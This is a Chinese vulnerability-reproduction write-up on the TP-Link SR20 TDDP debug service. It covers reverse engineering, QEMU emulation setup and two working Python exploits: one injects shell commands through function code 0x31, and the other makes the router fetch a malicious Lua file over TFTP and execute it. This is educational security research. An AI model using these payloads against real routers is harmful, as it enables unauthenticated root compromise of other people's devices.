TP-Link SR20命令执行漏洞复现

前言

针对 TP-Link SR20 做漏洞复现的时候,学习到了 C 程序调用 lua 文件所造成的命令执行漏洞,同时该路由器还存在一个命令注入的点。TDDPTP-LINKUDP 通信基础上设计的一种调试协议,当 TP-Link SR20 运行了 V1 版本的 TDDP 协议,在无需认证的情况下,往 SR20 设备的 UDP 1040 端口发送特定数据就可以造成命令注入漏洞或利用 TFTP 服务下载指定 LUA 文件并以 root 权限将其执行。还好这个协议的逆向量挺小的 😶‍🌫️

从接收数据开始

qemu 用户级仿真情况如下,该进程会一直处于阻塞状态,猜测是由 select 函数造成的。

image-20231124154303704

执行命令 sudo chroot . ./qemu-arm-static -g 1234 ./usr/bin/tddp ,用 gdb-multiarch 进行调试,发现断点下到 select 是可以直接 c 过来的

image-20231124155827058

但是把断点下到 select 函数执行后,就发现是处于了阻塞状态(猜测 select 监视了某个文件一直没有读到数据)

image-20231124160214927

再看 select 函数上面的代码,发现是有进行初始化操作的部分。在 v6[9] 存放的是 socket 函数创建完的套接字(sub_16E5c 函数中实现的)

image-20231124163540849

分析一下 sub_16D68 函数,它的第一个形参是刚刚创建的套接字,第二个形参是 1040

通过下面的代码能分析出 bind 函数将套接字与 0.0.0.0:1040 这个地址和端口所绑定的

image-20231124163902135

此时在主机上运行程序 tddp 后,虽然是阻塞状态,但可以发现 1040 端口已经被监听

image-20231124165320433

这里的 v6[9]socket 函数返回的文件描述符为 5 (找了半天也没看到文件描述符 4 是哪个文件)

timeout.tv_sec = 600;
timeout.tv_usec = 0;
readfds.__fds_bits[v6[9] >> 5] |= 1 << (v6[9] & 0x1F);
v7 = select(nfds, &readfds, 0, 0, &timeout);

下面要分析的核心是 readfds.__fds_bits[v6[9] >> 5] |= 1 << (v6[9] & 0x1F) 这行代码,这个 readfds 里存放的是要检查可读文件描述符的集合。它是用每个 bit 来表示一个文件描述符,因为比特图 __fds_bit 的每个元素的类型都为 unsigned long ,其大小为 4 字节 32bit ,所以理论上 _fds_bit 的每个图都可以表示 32 个文件描述符的状态。其 bit1 就表示该文件描述符要检查,为 0 则表示不检查。

再来看这行代码

readfds.__fds_bits[v6[9] >> 5] |= 1 << (v6[9] & 0x1F)

v6[9] 表示的是 socket 返回的那个文件描述符 5,让这个文件描述符右移 5 ,也就是除以 32 ,拿到的是该文件描述符位于第几个图。5/320 ,这表示它位于第一个图。再看右边的 1 << (v6[9] & 0x1F) 这个 v6[9] & 0x1F 部分,0x1F 的二进制为 11111 ,用目标文件描述符和其进行与运算(这是为了避免文件描述符超过了一个图能表示的范围,算比特位属于哪个图由 __fds_bits[v6[9] >> 5] 来做,计算位于具体某个图的哪个比特位由 1 << (v6[9] & 0x1F) 来做 ),最后用 | 将图中的唯一比特位写入具体的一个图中。这里即使不理解也并不影响后面的分析,它就是把文件描述符 5select 函数进行了是否可读的监视。设置的超时时间为 600 秒。

此时 socket 创建的套接字已经和 ip port 所绑定,只要向目标地址发送数据,就可以让 select 监视的可读文件描述符检测到有数据,从阻塞转到就绪,继续往下运行。执行到 sub_16418 ,其调用了 recvfrom 函数,接收了发送给 1040 端口的数据包。

看下 recvfrom 函数执行前后,将远端发送的数据读入内存的过程

image-20231126140348484

此时的 exp 如下

from socket import *
import sys
s_send = socket(AF_INET, SOCK_DGRAM, 0)
payload=b'aaaaaaaaaaaa'
s_send.sendto(payload, ("127.0.0.1",1040))
s_send.close()

代码里存放数据包的首地址也就是 a1+45083 ,接下来就追踪这个数据,看看是否会存在漏洞。

image-20231126141853635

根据功能码执行相应操作是在 handle 函数(已经过重命名),第一个 if 判断的是数据包的版本号,只要第一个字节是 1 就行。sub_15AD8 函数判断的是 *a1 是否为空,它在前面的函数中已经将其赋值为堆地址,所以也能正常通过第二个 if 的检查

image-20231126143002573

handle 函数是用来执行数据包中各功能码对应的功能,switch case 语句处理的就是功能码对应的操作,红框中写的是 *(a1+45084) ,这说明数据包的第二字节代表功能码。漏洞位于 0x31 功能码对应的函数

image-20231126182933017

漏洞所在

sub_A580

image-20231124084353714

结合上图可知,v12 取了 tddp 数据包的首地址。然后在 if(*v12 == 1) 判断了数据包第一个字节(也就是 tddp 协议的版本号)是否为 Version1 ,如果是,则让指针 v18 移动 12 个字节,反之移动 28 个字节。

在移动后的位置用 sscanf(v18, "%[^;];%s", s, v9) 函数对其进行 ; 分割,字符串中 ; 前面的部分放入 s 中,; 后面的部分放入 v9 中,随后触发 DIY_system 函数(已被重命名)

DIY_system

image-20231126185450551

查看变量定义的位置,猜测 argv v4 v5 v6 应该是一个指针数组,execve 函数的第二个参数就是指针数组(是 execve 执行程序的命令行参数),这里实际上为 execve("/bin/sh","sh -c xxx",0) 这个 xxx 也就是变量 ssvsprintf 函数拼接而成,原始的数据为 sub_A580 函数中调用 sub_91DC("cd /tmp;tftp -gr %s %s &", s, v15) 进行传递的,此处我将 sub_91dc 函数重命名为了 DIY_system 函数

结论:控制 tddp 协议的版本号为 Version1 ,功能码为 0x31 ,在功能码后面填充 10 个垃圾字符,然后输入任意命令以 ; 结尾。这里虽然无法使用命令分隔符 ; ,但是 &&|| 并没有进行过滤,依然可以造成命令注入。

我发现网上的相关资料都是直接用了 qemu 的系统级仿真,原本好奇为什么不先采用 qemu 的用户级仿真,为了方便我首先采用了 sudo chroot . ./qemu-arm-static -g 1234 ./usr/bin/tddp 的方式来进行调试程序。前面的流程都一切正常,但是会卡在 sub_15110 内的 lua_pcall 函数。不确定这是否因为用户级仿真单个程序所造成的原因,我采用的方法是用 set 命令改变了 pc 寄存器的值,跳过了一些可能造成干扰的函数,sub_15458 函数完成了刚开始的初始化操作后,直接将该函数返回(通过修改 pc 寄存器)。后续执行流就可以正常执行了 ,下图是正常走到 DIY_system 函数时各寄存器的状态

image-20231126195202805

因为用户级仿真不支持多线程,所以后续在调用 fork 函数的时候,子进程是出不来的,导致没办法进入 if ( !pid ) ,也就无法执行到 execve 函数。

搭建系统级仿真

所以为了最终验证 POC ,还得用 qemu 搭建系统级仿真,先下载这三个文件

wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress

下面是 net.sh 脚本和 boot.sh 脚本,先执行 net.sh 配置出一个 qemu 的网络接口 tap0 ,然后再执行 boot.sh 脚本启动 qemu (大概要等待三分钟左右)

#!/bin/sh
#sudo ifconfig eth0 down # 首先关闭宿主机网卡接口
sudo brctl addbr br0 # 添加一座名为 br0 的网桥
sudo brctl addif br0 ens33 # 在 br0 中添加一个接口
sudo brctl stp br0 off # 如果只有一个网桥,则关闭生成树协议
sudo brctl setfd br0 1 # 设置 br0 的转发延迟
sudo brctl sethello br0 1 # 设置 br0 的 hello 时间
sudo ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口
sudo ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口
sudo dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址
sudo brctl show br0 # 查看虚拟网桥列表
sudo brctl showstp br0 # 查看 br0 的各接口信息
sudo tunctl -t tap0 -u root # 创建一个 tap0 接口,只允许 root 用户访问
sudo brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口
sudo brctl showstp br0
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic -smp 4

然后把解压出来的文件系统给传到 qemu

sudo scp squashfs-root.tar.gz  root@10.214.140.139:/root/

再传一个 gdbserver 进去,方便调试。 gdbserver下载链接

sudo scp gdbserver  root@10.214.140.139:/root/

进到 qemu 里,用 chroot 在传入的文件系统里做一个隔离环境,就可以进行调试了

此时调试的过程就不再演示,上文提到 sub_15110 内的 lua_pcall 函数会造成用户级仿真的阻塞,在系统级仿真里面也没有出现问题了。

启动 tddp 服务后可以看到 1040 端口已经被监听(但是不知道为什么在宿主机用 nmap 扫描不出来)

image-20231127171524634

EXP1

根据上文的分析,编写 EXP 如下

from socket import *
import sys
s_send = socket(AF_INET, SOCK_DGRAM, 0)
payload=b'\x01\x31'
payload+=b'a'*10
payload+=b'||pwd&&id&&ls /||;xxx'
s_send.sendto(payload, ("10.214.140.139",1040))
s_send.close()

攻击效果:

image-20231127172545362

利用lua文件命令执行

image-20231127222858050

上图中的 v15 为发送数据方 IP (经下图调试可知),所以正常 DIY_system 函数会利用 tftp 从对应机器上下载一个文件(用户可控),并且该文件在后面被当做 lua 文件进行加载执行(由 lua_call 函数完成),执行的是文件中的 config_test 函数。

image-20231127224456051

只需要构造一个 lua 文件,命名一个 config_test 函数,里面自定义命令执行的代码即可。因为后面执行了两次 lua_pushstring 函数,这意味着正常的 config_test 函数应该有两个参数。

EXP2

所以编写恶意 lua 脚本如下

function config_test(para1, para2)
os.execute("id")
os.execute(para1)
os.execute(para2)end

exp 改成这样

from socket import *
import sys
s_send = socket(AF_INET, SOCK_DGRAM, 0)
payload=b'\x01\x31'
payload+=b'a'*10
payload+=b'demo.lua;xxx'
s_send.sendto(payload, ("10.214.140.139",1040))
s_send.close()

最终验证需要安装 lua 同时还得配置 TFTP server ,具体细节可以参考 文章

攻击效果:

image-20231128093158056

根据上图的信息可以发现是连续执行了三条命令,分别为 id xxx 10.214.140.177。第一个命令 id 很明显是 lua 脚本里写死的,而 xxx 和后面的 ip ,其实是 C 代码传给 lua 脚本中 config_test 的参数。第三个命令是 ip 不可控,但第二个命令是以数据包中 ; 为分隔符,后面的数据 xxx 依然可控,所以最终可以导致同时执行两个命令

image-20231128093849142

报错与解决

binwalk 报错 No such file or directory: 7z

image-20231123195903979

发现是 binwalk 依赖了 7z ,所以还得装一个 7z

我首先执行的命令 apt-get install p7zip ,执行完后发现用 binwalk 解压依然是同样的错误,执行 which 7z ,报错为 7z not found 。发现 7z 并没有被安装成功,经过一番搜索后应该安装 p7zip-full ,这样 7z 就被成功安装。 binwalk 正常执行

image-20231123200612873

编译 C 程序报错

gcc -o call call.c -llua 报错:缺少头文件

image-20231127215529226

解决方法:加上 -I 参数,让编译器在指定目录下寻找头文件

gcc -o call call.c -llua -I/home/zikh/Desktop/lua-5.3.5/src -llua 报错:ld 无法找到 -llua

image-20231127215905441

解决方法:在加 -L 参数,在指定目录下寻找库文件

最终命令为 gcc -o call call.c -llua -I/home/zikh/Desktop/lua-5.3.5/src -L/home/zikh/Desktop/lua-5.3.5/src -llua -lm -ldl

成功运行 C 语言编写的 call 调用 lua 程序

image-20231127220353877

tftp没有找到下载文件的目录

/ # tftp -g -r /demo.lua 10.214.140.177
tftp: server error: (1) File not found

我按照网上资料,也将配置文件的目录修改到了 /opt/ftp_dir ,并且也给了 777 的权限,重启服务后,依然报了上面的错误。

image-20231128090253800

解决方法:猜测上传文件的目录和下载文件的目录是同一个,我在宿主机上用 tftp 上传了一个 1.txt 文件,再用 find 进行搜索(如下图)发现上传的文件位于 /srv/tftp 目录下

image-20231128091222909

qemu 里下载这个目录下的文件是成功的

image-20231128092817484

尾声

虽然文件系统里有自带的 nc ,但因为是简化版无法造成反弹的命令执行。winmt 师傅自己传入了一个完整版的 nc 进行了测试。命令执行的点到此结束了,因为我也不执着于这个反弹 shell ,就不再进行后续的操作了😶‍🌫️

参考文章

我的翻译–一个针对TP-Link调试协议(TDDP)漏洞挖掘的故事 - backahasten - 博客园 (cnblogs.com)

对TP-Link SR20 tddp协议漏洞的详细逆向研究_tddp 协议-CSDN博客

TP Link SR20 ACE漏洞分析-腾讯云开发者社区-腾讯云 (tencent.com)